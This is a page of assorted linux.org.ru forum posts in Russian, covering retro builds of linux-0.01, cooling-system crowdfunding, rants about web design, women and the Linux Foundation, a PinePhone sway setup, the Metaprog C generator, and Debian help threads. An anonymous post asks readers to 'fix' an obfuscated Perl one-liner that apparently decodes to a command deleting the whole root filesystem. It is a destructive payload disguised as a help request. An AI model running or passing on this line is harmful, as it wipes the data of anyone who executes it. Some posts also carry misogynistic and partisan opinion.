LINUX.ORG.RU

Избранные сообщения puffy

linux-0.01 скомпилированный в minix-386 и запущенный в эмуляторе 86box

Галерея — Скриншоты

Я люблю старые программы, мне нравится их изучать и смотреть как они развивались, и во что они сейчас превратились или умерли так и не дожив до современных дней. И по той же самой причине, мне нравится смотреть различных авторов Youtube каналов посвященные ретро тематике в котором авторы рассказывают о корнях программ, игр, приставок или старых компьютерах. И на волне этого, мне захотелось попробовать собрать и запустить, что-то относительно старое, но которое живет и развивается до сих пор. Мой выбор пал на первую версию Linux, версии 0.01.

Те кто знаком с историй создания Linux и её ранних дней, знают, что она писалась Линусом Торвальдсом на 386 машине на которой работала пропатченнная версия Minix 1.5. И не смотря на, то, что есть проект (и не один) позволяющий скомпилировать linux-0.01 на современных версия компиляторов мне же хотелось побыть немного в шкуре самого Линуса и самому собрать ядро в ее родной среде, а именно в Minix и древними версиями GCC.

Те, что интересуется подобной историей (да или просто пользуются гуглом), знают, что такое уже проделывали многократно (посмотрите хотя бы сайт oldlinux.org), но я хотел сделать это всё сам. И вот вооружись энтузиазмом, эмулятором 86Box, старыми версия ПО (многие их которых взяты с вышеупомянутого сайта), а главное ядра Linux, я пошел по стопам Линуса, ну или почти по стопам… :)

Первым делом необходимо было установить классический 16-битный Minix 1.5.10 (верхний левый скрин). При наличии дистрибутива (17 дискет), а также Reference Manual делается это не сложно. Просто необходимо внимательно читать manual Танненбаумана. Единственное замечание по установке в эмуляторе 86Box, так это то, что необходимо в настройках эмулятора (и BIOS) выставить тип 360к для 5 1/4 дисковода, иначе Minix сможет грузится с загрузочной дискеты, но root’овую уже не увидет.

Далее необходимо очень внимательно следовать прекраснейшему руководству от Джона Наллома по превращению в minix-386. На этом этапе каких-либо подводных камней нет (опять же внимательно читаем), единственное необходимо установить тип 1.2M для 5 1/4 дисковода. Также необходимо будет перекомпилировать все бинарные файлы в /bin и /usr/bin. В самом руководстве Джон компилирует только часть их них (сам Брюс Эванс в README на bcc писал, что достаточно только sh :) ). Я же перекомпилировал почти всё.

Затем качаем и ставим готовый компилятор GCC 1.37.1 от Alan W Black’а. Нужно как минимум 3 архива с самим gcc, библиотеками и заголовочными файлами. Главное, ОБЯЗАТЕЛЬНО, необходимо пропатчить ядро Minix (kernel) иначе при компиляции ядра Linux, получите сообщение, что-то типа fp stack overflow.

Ну и под финал всего это необходимо скомпилировать сам Linux-0.01. Линус писал, что он использовал пропатченный им же gcc-1.40 c поддержкой -mstring-insns, но он также писал, что возможно подойдет 1.37.1 и да, им можно скомпилировать ядро Linux. Нужно только убрать вышеупомянутую опцию из нескольких Makefile (об этом писал Линус), а также отредактировать под себя boot.s (под нужный тип дискеты) и include/linux/config.h (параметры жесткого диска). Плюс в Makefile надо добавить путь до gnulib (об этом тоже писал). О чем Торвальдс не писал, так это то, необходимо в Makefile добавить команду конвертации бинарного файла в формат, который мог бы исполняется на Minix-386 (на нижнем левом скрине эти команды можно увидеть). Линус не делал подобной конвертации и могу предположить, что у него был патч который позволял запускать бинарные файлы gcc нативно (aka gnutoo).

Осталось только подготовить свободный раздел жесткого диска, создать несколько устройств в /dev и /bin скопировать bash (+ сделать ссылку на sh) и update. Запись ядро на дискету и как писал Линус «Use the three-finger-salute to reboot you machine».

>>> Просмотр (1440x800, 58 Kb)

 , linux-0.01, ,

OlegSL
()

В современном обществе мужчина имеет околонулевую ценность Part Two

Форум — Talks

Переехать из Сосновоборска в Москву, всё равно, что из Москвы - в Дубаи.

Не проходит и дня, чтобы я не вспоминал о девушках, об одноклассницах, которые отказывали мне в дружбе, в отношениях, которые не хотели со мной встречаться, — ведь все они остались там, в «Сибирской глубинке». А я тут, проживаю лакшери жизнь, зарабатываю, да даже просто вкусно кушаю каждый день, пока у многих и этого нет.

А ведь я им говорил: — вот квартира, приходи, живи, чего тебе ещё надо? Ну а чего нет — накопим, приоберетём, главное всё делать вместе, деньги дело наживное.

И где все они были, пока я горевал в одиночестве за компьютером, превозмогал, изучал линуксы, сети, писал код. Известно, где. Они встречались с туповами гопниками, которые могли и рассмешить, и на тачке прокатить.

Я прыгнул выше головы, пришёл к успеху, сам, своими мозгами, не Павел Дуров и не Марк Цукерберг, конечно, но суть примерно та же, что за свой собственный программный продукт меня позвали работать в Столицу нашей родины, в компанию, которая обеспечивает работу крупных дата-центров.

Всю жизнь за компьютером просидел, всему научился сам, а девушки не хотели со мной дружить, ну штош... Такова цена. И теперь я тут, а они там, растят детишек, мамы-одиночки. А всего-то что и требовалось, присмотреться к айтишнику, прибрать к рукам, пока я ещё был «котёнком».

«ты меня не потянешь», «лучше я всю жизнь буду одна, чем с тобой свяжусь» — говорили они мне. Теперь они там, а я тут. Зарабатываю, откладываю деньги на своё жильё. О какой любви может идти речь, если всё это время никого небыло рядом, чтобы поддержать меня в трудные минуты? Я родился сломанным, не привлекательным для девушек, а своим отношением меня просто доломали, так что теперь всю жизнь проведу в гордом одиночестве.

А линукс тут при том, что это вся моя жизнь.

 

Spoofing
()

Система охлаждения YOBA. Перезапуск проекта.

Форум — Talks

Предыстория для тех кто не знает или знает исключительно по слухам и домыслам.

В марте 2015 года был запущен проект Краудфандинг уровня ЛОРа. Сбор небольшой суммы на прикладные исследования и создание прототипа новой системы пассивного охлаждения. Были собраны скромные средства в размере 20000 рублей и я начал конструкторское исследование. Были перепробованы 2 варианта подвижных труб, создан ультра-дешёвый двухступенчатый вакуумный насос, не подошедшее к проекту гибкое вакуум-соединение и примитивный теплосъёмник. Проект завершился созданием неудачного прототипа. К этому привело слабое техническое оснащение и необходимость экономить. Но были получены важные данные, стало понятно что «узким местом» является теплосъёмник.

Дальше я решил продолжать проект своими силами.

Летом 2016 года Система охлаждения YOBA. Зима не близко. dk- спровоцировал меня на пари. И даже пообещал денег на материалы. Но из за недопонимания в переписке, так их и не дал. Пари я проиграл. Так как не смог сделать для трубки правильный фитиль из за чего в «радиаторной гирлянде» образовывались водяные пробки. Можно сказать что к этой ошибке привело упорное желание обойтись имеющейся трубкой диаметра 1/4 дюйма. И неверная оценка работы фитиля условиях водяного пара низкого давления и неравномерной конденсации. Главным выводом стало то что хотя трубка диаметром 1/4 способна пропускать пар даже от процессоров с высоким теплопакетом, пропускать капли воды в обратную сторону одновременно с паром, не помогает даже фитиль. Я пришёл к выводу что нужна трубка диаметром 1/2 дюйма. Из за недопонимания с dk- , внимания ненавистников и проигранного пари, я оценил этот опыт как отрицательный. И понял что не стоит соглашаться на мутные условия вроде морковки перед носом.

dk- снова предложил мне то от чего я не могу отказаться. Естественно многие считают его сумасшедшим, а меня и подавно.
КОНЕЦ ПРЕДЫСТОРИИ.

Требуемые средства и инструменты:

  • Труборез 800 рублей
  • Труба 1/2 15 метров 3150 рублей. (Меньше не продают)
  • Горелка 3100 рублей
  • Газ, около 800 рублей
  • УШМ 3000 рублей
  • Расходные материалы, клей, диски, щётки, свёрла и прочая всячина 3000 рублей

Нужен ещё труборасширитель, в принципе идеален был бы рычажный, но они обычно стоят около 8000 рублей. Сойдёт и VST-22, который стоит 2000 рублей. Здесь его не продают, поэтому прошу выслать. Так же не откажусь от газовой горелки получше типа представленных здесь http://tisa-climate.ru/soldertool?sort=p.price&order=ASC или здесь http://горелка-для-пайки.рф/ . И термозащитного геля http://tisa-climate.ru/soldertool/calorstopgel

С малой вероятностью может потребоваться дополнительное финансирование, на услуги аргоновой сварки, графитовые электроды, точную шлифовку и другие непредвиденные расходы.

СОГЛАШЕНИЕ.
Извещаю о изменениях первоначальных участников xtraeft Xellos CaveRat, хотя xtraeft написал «можешь считать это донатом». В случае успеха в создании прототипа, все вы будете приоритетно приглашены в возможный бизнес проект. Поскольку dk- увеличит финансирование, высший приоритет среди вас достаётся ему. Вы равны (перед мною), но он ровнее. Прошу подтвердить эти изменения первоначального договора или прямо отвергнуть их.

Пояснение. Договор не предусматривает передачу интеллектуальной собственности, финансирующие лишь приобретают приоритет над другими возможными инвесторами которые могут быть привлечены позже. Все права на идею и реализацию остаются у меня. Однако я публично предоставляю схемы всем желающим в блоге проекта для некоммерческого изготовления (не с целью продажи).

Пожалуйста воздержитесь от политехнических споров в данной нити, оскорблений и клеветы (прежде писать ознакомьтесь с историей). Если кто то хочет поспорить со мной на политические темы и исправить свою политическую ориентацию, то я дам ссылку на виртуальный стационар, где я и прочий заботливый медперсанал вам поможет.

 , , ,

rezedent12
()

Система охлаждения YOBA. Зима не близко.

Форум — Talks

Сайт проекта http://yoba-cool.blogspot.ru/ Предыдущая тема Система охлаждения YOBA.

Скоро будет третье июля. До конца этого срока, по условиям пари заключённого 3 месяца назад, я обязан представить прототип системы охлаждения, бизнес план и публикацию на оверклокерс. Если я всё это делаю, то dk- платит мне 37 тысяч рублей. Если не смогу, то я ставлю на аватарку петуха.

Арбитрами призваны 5 человек CaveRat JB reprimand znenyegvkby templarrr , они решат выполнил ли я условия. Надеюсь справедливо.

О ходе проекта. Бизнес план почти готов, с прототипом вышел форс-мажор, но я купил новый клей для приклеивания крышки. И сегодня модифицирую прототип.

Если есть конструктивные вопросы, предложения и советы, пишите их.

 , , ,

rezedent12
()

Система охлаждения YOBA.

Форум — Talks

Прошлая нить www.linux.org.ru/forum/club/12467316

Призываю предположительно заинтересованных лиц xtraeft CaveRat dk reprimand CaveRat JB

Сегодня почти доделал теплосъёмник, осталось вкладыш. Купил медные тройники и скоро сделаю «радиаторную гирлянду».

Блог здесь http://yoba-cool.blogspot.ru/

 , , ,

rezedent12
()

Красивая игра с насилием и сексизмом для ребёнка 20+

Форум — Games

Посоветуйте эстетически красивую игру с насилием и сексизмом для детей от 20.

Эстетически красвива - никаких стандартных ассетов из магазина юнити и псевдопикселов на полэкрана из серии «у нас нет художника, так что сделаем вид, что это пиксель-арт».

Приятный аудиофон.

Игра пропитана сексизмом не менее чем на 30%, но лучше хотя было до 50%-60%.

30-40% игрового процесса занимает насилие, желательно в разнообразных формах.

 

LamerOk
()

Алгоритм «возможных друзей» ВКонтакте.

Форум — Talks

В телефонной книге с работы только номер начальника. ВКонтакте предлагает людей с работы в качестве возможный друзей, с которыми у меня не было никаких сношений. Откуда они появились? Из телефонной книги начальника? Почему тогда одни отображаются, а другие(коих около сотни) нет? Один человек вообще года 3 назад уволился.

 ,

hhhhacker
()

BlackCat Linux

Новости — Linux.org.ru
Группа Linux.org.ru

Добавление на странице дистрибутивов - Black Cat Linux (Украина)

maxcom
()

Современный веб

Форум — Talks

раньше сайты ломились от изобилия информации, вся главная страница была усеяна гиперссылками размером 8px, казалось, что легко заблудиться, но нет, вся информация была структуирована, разделена логически. вот ты заходишь в раздел файлов, пробираешься сквозь дебри категорий и подкатегорий и находишь ссылку чтобы загрузить нужный файл. и даже при таком раскладе веб-мастера (был же раньше веб-мастер! он один!) делали поиск информации ещё проще, они отображали текущее расположение пользователя и даже делали карту сайта со сплошным списком всех ссылок подряд. реально весь сайт был представлен в виде одного /sitemap.xml.

сейчас ты заходишь на какой-нибудь hp.com или intel.com, где тебя встречает фоновая картинка занимающая 60% места на экране, и надпись размером 100px: ПРЕВЕД Я ИНТОЛ, да ля! я это я и так знаю, ну пофиг, ты такой думаешь а как мне найти свежий БИОС для моей железки. начинаешь скроллить, скроллишь... скроллишь... одна фоновая картинка сменяется другой, всё так же, 60% рабочего пространства твоего 3440x1440 34" монитора занимает фоновая картинка, остальные 40% занимает текст — сплошная вода, МЫ ЛИДЕРЫ МИТОЛ ГРУППЫ, МЫ КЛИЕНТООРИЕНТИРОВАННЫЕ, НАШИ МЕНЕДЖЕРЫ 24/7 ПРИЁМ ВЫДАЧА БИЗНЕС-АНАЛИТИКА, вот это всё.

где мои Files? где мои Downloads? Support! МАТЬ ЕГО КТО ДОДУМАЛСЯ ПЕРЕМЕСТИТЬ ФАЙЛЫ В РАЗДЕЛ Support сайта??? всю историю веба Support это была такая формочка обратной связи чтобы создать тикет, задать тупой вопрос или передать привет менеджерам.

я могу понять современный дизайн, «я дизайнер я так вижу», ок, мониторы уже 4K, ок, делаем гигантские шрифты, гигантские элементы, картинки на пол экрана, я всё это могу понять. но объясните мне, почему информацию на сайтах стало находить так тяжело??? почему, чтобы найти новый биос, я вбиваю в гугле имя бинарного файла, чтобы его найти, а не нахожу этот бинарный файл на официальном сайте спустя несколько кликов?

в своё время я читал книгу «Web-Design для чайников», там было много очевидных на тот момент советов, например, не дублировать ссылки в меню сайта, т.к. пользователь считает, что они ведут в разные разделы сайта, или что например, пользователь ищет информацию, и если он не находит её на вашем сайте в течении условных 30 секунд — он на ваш сайт больше не зайдёт. это было всё понятно и очевидно на тот момент.

но сейчас что случилось? никакого уважения к пользователю. сплошная вода и картинки. на сайте два элемента: картинка, текст, это 20 строчек HTML кода, но сайты вешают мегабайты!! и вся эта дичь ещё крутится на каком-нибудь PostgreSQL, когда там базы из текстовых файлов будет за глаза — камон, у вас даже форума для общения нету, нету свободно редактируемой базы знаний по типу википедии, вы же тупо предоставляете read-only информацию о своих продуктах, и всё это говно еле ворочается и прогружается, ляяяя... -_\\

 

Spoofing
()

pinephone + sway = ❤︎

Галерея — Скриншоты

Дошли у меня руки до пайнфона. Оказалось, что:

  • Gtk3 (и интерфейсы, основанные на gtk-дерьме) жутко тормозит и делает использование неюзабельным. Про то, сколько бесполезных процессов запускают эти рабочие среды я и говорить не буду.
  • plasma-mobile тоже тормозит и падает (точнее, роняет всю систему).
  • Есть один нормальный быстрый гуй - sxmo, сделанный, эээ, людьми, мнения которых я не разделяю. Работает быстро, но всё очень по-спартански и неудобно.

Вывод: пора пилить своё DE.

  • Основанное на wayland, чтобы не копаться в некро-иксах.
  • С оглядкой на pinephone-sway-poc, poc, примерно похожий на то, что я хочу.

Пришлось пока:

  • Накатить arch linux arm, потому что на postmarketos с musl ничего не собирается.
  • Делать на базе sway, чтобы не фигачить свой композитор. Как оказалось, практически все нужное уже есть. Режим табов - будто бы для телефонов и сделан.
  • Заюзать довольно сырую клавиатуру wvkbd. Раскладка неудобная, но зато не тормозит, как squeekboard на gtk3.
  • Написать собственный бар с кнопочками, как на ведре. Кнопочки выполняют системные команды и сорят зомби-процессами (кто шарит в расте, помогите штоле починить), но уже красиво и юзабельно.
  • Подшаманить с запуском firefox: MOZ_ENABLE_WAYLAND=1 firefox. Еще нужен firefox-mobile-config. Без всего этого будет или страшно, или неюзабельно, или с иксами.
  • Подшаманить с запуском telegram: QT_QPA_PLATFORM=wayland telegram-desktop -scale 80.
  • dino на скриншоте собран из ветки feature/handy. Ветка, похоже, заброшенная и портировано на libhandy далеко не всё.
  • Сделать HandlePowerKey=ignore в /etc/systemd/logind.conf, забиндить кнопку питания на systemctl suspend
  • Много-много страдать.

В самых близких планах - запилить touch-friendly аналог dmenu.

Одна из адовых проблем - жор батарейки. Я так понял, есть некоторые софтварные проблемы, которые еще починят, но есть и хардварные, которые можно будет починить только новым телефоном :(

Короче, самое главное, что уже можно взять в руки телефон, самостоятельно его подключить к wifi и прочему, а значит, что можно постепенно доделывать и остальные нужные фичи.

Я безумно рад. Сбылась мечта идиота: я ждал этого момента еще с тех пор, как больше 10 лет назад увидел, как запускают линукс (банальные иксы c xclock) на hp ipaq 514. Наконец-то поперло, теперь всё будет.

>>> Просмотр (1440x2880, 1019 Kb)

 , , , ,

derlafff
()

Как же у меня бомбит от менеджеров!! Опять обкреативились!!!

Форум — Talks

Вдохновило меня на написание этого сообщения другое сообщение опубликованное пользователем web0_0 в теме Требуется ведущий специалист на удаленную работу в дата-центр расположенный в Европе

Вот собственно мой ответ:

НЕНАВИЖУ! НЕНАВИЖУ! НЕНАВИЖУ!

Грёбаные менеджеры по продажам, персоналу и продажам персонала вы там совсем обкреативились что ли?! Или вы постигли умение эффектного управления процессами не вникая в их суть!? НО БОЛЬШЕ ВСЕГО ЗЛИТ, ЖЕЛАНИЕ ЗАЛЕЗТЬ В ДУШУ!!! Зачем мне быть интровертом или экстравертом, как интроверт будет работать в команде? Зачем вы требуете веру?! Какая разница во что человек верит!? Ты понимаешь что некоторые из тех требований которые ты описал соответствуют очень умному человеку, которому в принципе можно позволить не понимать субординацию, ибо большинство умных и особенно талантливых людей не переносят, для них это просто идиотская условность придуманная для ското-людей.

Эй вы там! Менеджеры по персоналу и продажам персонала! Прочитайте это и поймите что вы гoвнo! Притом тупое и незаслуженно претендующее на роль мозга общества!

А вот критические замечания полные ненависти:

( читать дальше... )

 , , , ,

rezedent12
()

Linux Foundation — это не про Linux

Форум — Talks

Привет, ЛОР!

Я тебе покушать принёс. Как ты, наверное, знаешь, права на торговую марку и некоторые другие, касающиеся ядра Linux, принадлежат некоммерческой организации Linux Foundation. Лайнос Торовалтос трудоустроен в ней же последние много лет.

На днях Linux Foundation опубликовала годовой отчёт о своей деятельности, в котором можно найти много всякого интересного.

И так, за этот год доход Linux Foundation составил 177 мегадолларов, в основном от пожертвований и членских взносов от корпораций-участников. Из них, на поддержку собственно ядра Linux было потрачено… 3.4%. А значит, 96.6% этих денег пошли куда-то ещё. Куда именно, спросишь ты меня, ЛОР?

Среди основных направлений деятельности LF значатся такие вещи как «Efforts in Diversity, Equity, and Inclusion», направленные в том числе на «осуществление расовой справедливости через код» и «inclusive language efforts» (извиняй, ЛОР, я правда не знаю как эту хтонь на русский нормально перевести). В рамках последнего, в частности, из ядра Linux были исключены и поставлен запрет на использование таких технических терминов, как master/slave, whitelist/blacklist, whitespace (лол!) и прочих слов, которые оскорбляют негров.

Думаешь, это единственное вкусное? Если бы! Другим важным направлением деятельности является «LF: Public Health» (https://www.lfph.io). В частности, Linux Foundation занимается развитием своей системы паспортов вакцинации. Например, их использование было обязательным для посещения мероприятий, организованных LF в этом году. Подробнее можно почитать об этом здесь: https://conservativenerds.substack.com/p/vaccine-passport-company-the-linux.

На фоне двух пунктов выше, программа LF Energy, направленная на «ускорение декарбонизации», уже не кажется такой дикой. Правда, как это относится к развитию ядра Linux, всё ещё остаётся загадкой.

По сути, Linux Foundation сейчас занимается политическим активизмом, созданием паспортов вакцинации и, лишь иногда, ядром Linux. Такие дела, ЛОР. (Примечание от @xaizek: они занимаются всем этим больше, чем ядром, но там есть и другие пункты деятельности, косвенно связанные с ядром.)

Немного больше можно ещё вот тут почитать: https://lunduke.substack.com/p/linux-foundation-spends-just-34-of

 ,

hateyoufeel
()

Апофеоз электронной бумаги

Галерея — Рабочие места

Внезапно осознал, что большинство экранов, которые я использую по жизни — EInk, изготовленные на основе технологии электронной бумаги.

На рабочем столе монитор Onyx Boox Mira Pro 25" с открытым Rust-проектом в честно купленной IDE CLion под Ксубунтой 20.04.

На стене за ним — обычный IPS-монитор Iiyama ProLite 42". Используется в тех случаях, когда нужно видео и цвет.

Слева направо на столе:

  • Книга Onyx Boox Note 10" для технической и художественной литературы (Android 6)
  • Книга Kobo Aura One 7.8" для художественной литературы (Linux, кажется, на 4-м ядре)
  • Смартфон Hisense A5 (Android 9)
  • Книга Onyx Boox Max Carta 13.3" для технической литературы (Android 4)

Выдалось время, изучаю для общего развития Haskell.

>>> Просмотр (4160x3120, 1777 Kb)

 , eink,

hbee
()

Metaprog: универсальная графическая среда программирования [в разработке]

Форум — Development

Почему, несмотря на обилие «чудесных» ООП-языков, Си, разработанный в 1973 году, до сих пор не умер? Потому что не выхдящие за рамки текстового программирования попытки «улучшить» или заменить Си давали и дают проблем больше, чем решали.

Какой из ныне существующих языков программирования позволяет программировать мышкой, а не клавиатурой? На чем можно программировать графически, а не в тексте? Пока что это позволяет на приличном уровне только пропиетарное LabVIEW. Трудно поверить, но это единственная полностью графическая среда программирования серьезного уровня в 2019 году! Но даже в LabVIEW есть куча недостатков (которые невозможно самостоятельно устранить из-за пропиетарности).

Графическое программирование намного проще и понятнее. Если в качестве бэкенда брать Си и манипулировать функциями из сишной стандартной библиотеки, это не будет создавать никаких лишних абстракций, зато серьезно упростит жизнь программистам и особенно людям, имеющим дело с чужим кодом. Код любого уровня и любой сложности, представленный в виде графических блоков, станет открытым не только для узких специалистов, но и вообще любому продвинутому пользователю. Простота программирования и эффективность, не меньшая, чем у Си, убьет C++, Python, Java, Javascript и прочую ерунду с раздутыми и полными багов абстракциями (которые Линус не раз крыл матом).

Я уже делаю некое подобие LabVIEW на самом LabVIEW, назовем его Metaprog. Так же, как в 1991 Линус Торвальдс делал линукс, пользуясь пропиетарным Minix. И так же жаловался на кучу недостатков в Minix, желая устранить их в своей системе.

Я уже рисую простенькие блок-схемы. Добился того, что функции, типы, структуры, юнионы из сишных #include сразу отображаются в виде меню, что серьезно упрощает знакомство со стандартной библиотекой Си.

Примеры

Примеры с кодом на Си генерируются автоматически. Они тут же скармливаются компилятору и не предназначены для чтения эстетами, не любящими «абракадабру». Здесь они приведены лишь как пример работы транслятора и для возможности самостоятельно скомпилировать графические диаграммы со скринов. Так сказать, приобщиться к прекрасному.

Самое простое - Hello World. Скомпилируйте (gcc -o ./test ./code.c).

https://i.postimg.cc/YCywWbSh/fwrite.png

#include <stdio.h>

int main(){
char metaprog_array_pointer_10156130170823954432[] = {72,101,108,108,111,32,87,111,114,108,100};
unsigned long int metaprog_variable_13830126042312755200 = 1;
unsigned long int metaprog_array_size_10156130170823954432 = 11;
fwrite(metaprog_array_pointer_10156130170823954432,metaprog_variable_13830126042312755200,metaprog_array_size_10156130170823954432,stdout);

}

Я подписываю терминалы на украинском (сам оттуда), с таким же успехом их можно подписывать на русском, а не только на английском. Можно будет перевести все, кроме, разве что, вызываемых сишных функций, а gcc этого и не заметит (посмотрите код). При работе международной командой можно к каждой подписи/надписи прилагать словарь с нужными языками. Игры ж локализируют, чем визуальное программирование хуже?

Массив декларируется не как строка в кавычках, а как последовательность байтов, а байт - это цифра. Строки редактируются отдельным редактором (пока что средствами LabVIEW, но это временно). Больше никаких проблем и глюков с управляющими символами, кавычками итп (очень серьезная проблема при программировании на Си, Shell scripting и вообще всех текстовых языках).

Константа-массив имеет отдельные терминалы для указателя на массив и длины массива (известной редактору кода). Если терминал длины подключен - декларируется отдельная переменная. Не подключен - незачем и декларировать.

Пример посложнее: запись и в stdout, и в файл ./fwrite-test.txt

https://i.postimg.cc/v8KvKKmQ/fwrite2.png

#include <stdio.h>

int main(){
char metaprog_array_pointer_10156130170823954432[] = {72,101,108,108,111,32,87,111,114,108,100};
unsigned long int metaprog_variable_13830126042312755200 = 1;
unsigned long int metaprog_array_size_10156130170823954432 = 11;
fwrite(metaprog_array_pointer_10156130170823954432,metaprog_variable_13830126042312755200,metaprog_array_size_10156130170823954432,stdout);
char metaprog_array_pointer_12385851444566411264[] = {46,47,102,119,114,105,116,101,45,116,101,115,116,46,116,120,116,0};
char metaprog_array_pointer_16510743873862514688[] = {119,43,0};
fwrite(metaprog_array_pointer_10156130170823954432,metaprog_variable_13830126042312755200,metaprog_array_size_10156130170823954432,fopen(metaprog_array_pointer_12385851444566411264,metaprog_array_pointer_16510743873862514688));

}

В данном примере используется функция fwrite, а не printf. То есть, символ «0» не влияет на запись массива в файл или stdout. Сколько символов писать функция и так знает из длины массива.

Заявки

Принимаю заявки на новые фичи. Пишите в комментариях. Уже приняты заявки:

1. Пример с простым HTTP-сервером.

2. Пример с сортировкой Хоара (quicksort).

3. Простой в пользовании функционал работы со строками (больная тема для Си и С++).

4. Полностью графический функционал работы с регулярными выражениями, без вовлечения PCRE.

Сейчас нужно научить Metaprog «компилировать» блок-схемы прямо в Си и скармливать этот код gcc, получая бинарники. После чего перенести сам Metaprog на Си, чтоб перестать нуждаться в пропиетарном LabVIEW и выложить результаты в опенсорс. И получить за это донат, хотя желательно уже сейчас (для ускорения работы). Bitcoin:1AYoK2TScSpD5bhf67mv9AxHDJ2RidRvjD

 , , ,

metaprog
()

программа из одной строчки ни Perl

Форум — Development

помогите, пожалуйста исправить такую программу:

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

- не печатает

anonymous
()

Знаете ли вы, что...

Форум — Talks

…новый Windows Server 2022 позволяет автоматически присвоить всем пользователям всех машин свойства «обязан сменить пароль при следующем входе» и одновременно «не имеет права менять пароль»?

Полдня ждали админов :)

 ,

olegd
()

Какую систему поставить на pentium3 512mb?

Галерея — Скриншоты

Debian Bullseye KDE!

Почитал недавний тред и захотелось забраться в горящий танк лично.
Итак, нашел на помойке классический компьютер следующей конфигурации:

Pentium III-S, 512мб памяти, какая-то плата на Intel 815, Vortex 2, Radeon 9600.

На это все сверху был вкорячен Debian 11.

( читать дальше... )

>>> Просмотр (1920x1080, 462 Kb)

 , , ,

Khnazile
()

Как в Debian 11 выпилить Firefox?

Форум — General

Пытаюсь из свежеустановленного Debian 11 выпилить предустановленный Firefox. Для этого ввожу команду

$ sudo apt purge firefox-esr
Чтение списков пакетов… Готово
Построение дерева зависимостей… Готово
Чтение информации о состоянии… Готово         
Будут установлены следующие дополнительные пакеты:
  chromium chromium-common chromium-sandbox libjsoncpp24 libminizip1 libre2-9
Предлагаемые пакеты:
  chromium-l10n chromium-shell chromium-driver
Следующие пакеты будут УДАЛЕНЫ:
  firefox-esr* firefox-esr-l10n-ru*
Следующие НОВЫЕ пакеты будут установлены:
  chromium chromium-common chromium-sandbox libjsoncpp24 libminizip1 libre2-9
Обновлено 0 пакетов, установлено 6 новых пакетов, для удаления отмечено 2 пакетов, и 0 пакетов не обновлено.
Необходимо скачать 60,1 MB архивов.
После данной операции объём занятого дискового пространства уменьшится на 1 510 kB.
Как видите, он мне пытается при этом установить Chromium. Если я введу apt purge firefox chromium, то
Будут установлены следующие дополнительные пакеты:
  epiphany-browser epiphany-browser-data libdazzle-1.0-0
Следующие пакеты будут УДАЛЕНЫ:
  cinnamon-desktop-environment* firefox-esr* firefox-esr-l10n-ru*
  task-cinnamon-desktop*
Следующие НОВЫЕ пакеты будут установлены:
  epiphany-browser epiphany-browser-data libdazzle-1.0-0
Он мне на этот раз навязывает Epiphany. Так как же выпилить браузер, чтобы он мне при этом ничего не навязывал? В первый раз сталкиваюсь с таким поведением.

 ,

Rinaldus
()

VSCode (codium) во всех всплывающих окнах квадраты вместо букв

Форум — General

Решил попробовать codium и вот такая дрянь во всех всплывающих окнах

https://i.imgur.com/jiVHqHg.png

Kubuntu. Установил через snap.

 ,

BaN
()

Установка Debian Bullseye на ноутубук Acer sf114-34

Форум — Linux-install

Привет, LOR!

Не являюсь гуру в Linux, поэтому прошу помощи и поддержки. Суть вопроса - имеется железка: Acer SF114-34, на ней прекрасно работает Arch в виде SystemRescue 8.04 и Ubuntu 21.04, но крайне необходимо завести на ней Debian Bullseye. Что не так с Debian? После установки не работает аппаратное ускорение (дрова на видео?), не работают клавиши регулировки яркости и не работает тачпад. От слова совсем. В Арче и Убунте ядро 5.11 в Дебиане 5.10 Выхлоп lspci и lsusb прилагается. В lspci смущает отсутствие строки Kernel driver in use: i915 в секции VGA.

# lspci -v
00:00.0 Host bridge: Intel Corporation Device 4e26
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IOMMU group 0
	Capabilities: [e0] Vendor Specific Information: Len=10 <?>

00:02.0 VGA compatible controller: Intel Corporation Device 4e71 (rev 01) (prog-if 00 [VGA controller])
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IRQ 255, IOMMU group 1
	Memory at 6000000000 (64-bit, non-prefetchable) [size=16M]
	Memory at 4000000000 (64-bit, prefetchable) [size=128M]
	I/O ports at 4000 [size=64]
	Expansion ROM at 000c0000 [virtual] [disabled] [size=128K]
	Capabilities: [40] Vendor Specific Information: Len=0c <?>
	Capabilities: [70] Express Root Complex Integrated Endpoint, MSI 00
	Capabilities: [ac] MSI: Enable- Count=1/1 Maskable+ 64bit-
	Capabilities: [d0] Power Management version 2
	Capabilities: [100] Process Address Space ID (PASID)
	Capabilities: [200] Address Translation Service (ATS)
	Capabilities: [300] Page Request Interface (PRI)
	Kernel modules: i915

00:04.0 Signal processing controller: Intel Corporation Device 4e03
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IRQ 16, IOMMU group 2
	Memory at 6001100000 (64-bit, non-prefetchable) [size=64K]
	Capabilities: [90] MSI: Enable- Count=1/1 Maskable- 64bit-
	Capabilities: [d0] Power Management version 3
	Capabilities: [e0] Vendor Specific Information: Len=0c <?>
	Kernel driver in use: proc_thermal
	Kernel modules: processor_thermal_device

00:08.0 System peripheral: Intel Corporation Device 4e11
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IRQ 255, IOMMU group 3
	Memory at 6001121000 (64-bit, non-prefetchable) [size=4K]
	Capabilities: [90] MSI: Enable- Count=1/1 Maskable- 64bit-
	Capabilities: [a0] Vendor Specific Information: Len=14 <?>
	Capabilities: [dc] Power Management version 2
	Capabilities: [f0] PCI Advanced Features

00:14.0 USB controller: Intel Corporation Device 4ded (rev 01) (prog-if 30 [XHCI])
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, medium devsel, latency 0, IRQ 123, IOMMU group 4
	Memory at 7f900000 (64-bit, non-prefetchable) [size=64K]
	Capabilities: [70] Power Management version 2
	Capabilities: [80] MSI: Enable+ Count=1/8 Maskable- 64bit+
	Capabilities: [90] Vendor Specific Information: Len=14 <?>
	Kernel driver in use: xhci_hcd
	Kernel modules: xhci_pci

00:14.2 RAM memory: Intel Corporation Device 4def (rev 01)
	Subsystem: Acer Incorporated [ALI] Device 1516
	Flags: bus master, fast devsel, latency 0, IOMMU group 4
	Memory at 6001118000 (64-bit, non-prefetchable) [size=8K]
	Memory at 6001120000 (64-bit, non-prefetchable) [size=4K]
	Capabilities: [80] Power Management version 3

00:14.3 Network controller: Intel Corporation Device 4df0 (rev 01)
	Subsystem: Intel Corporation Device 0074
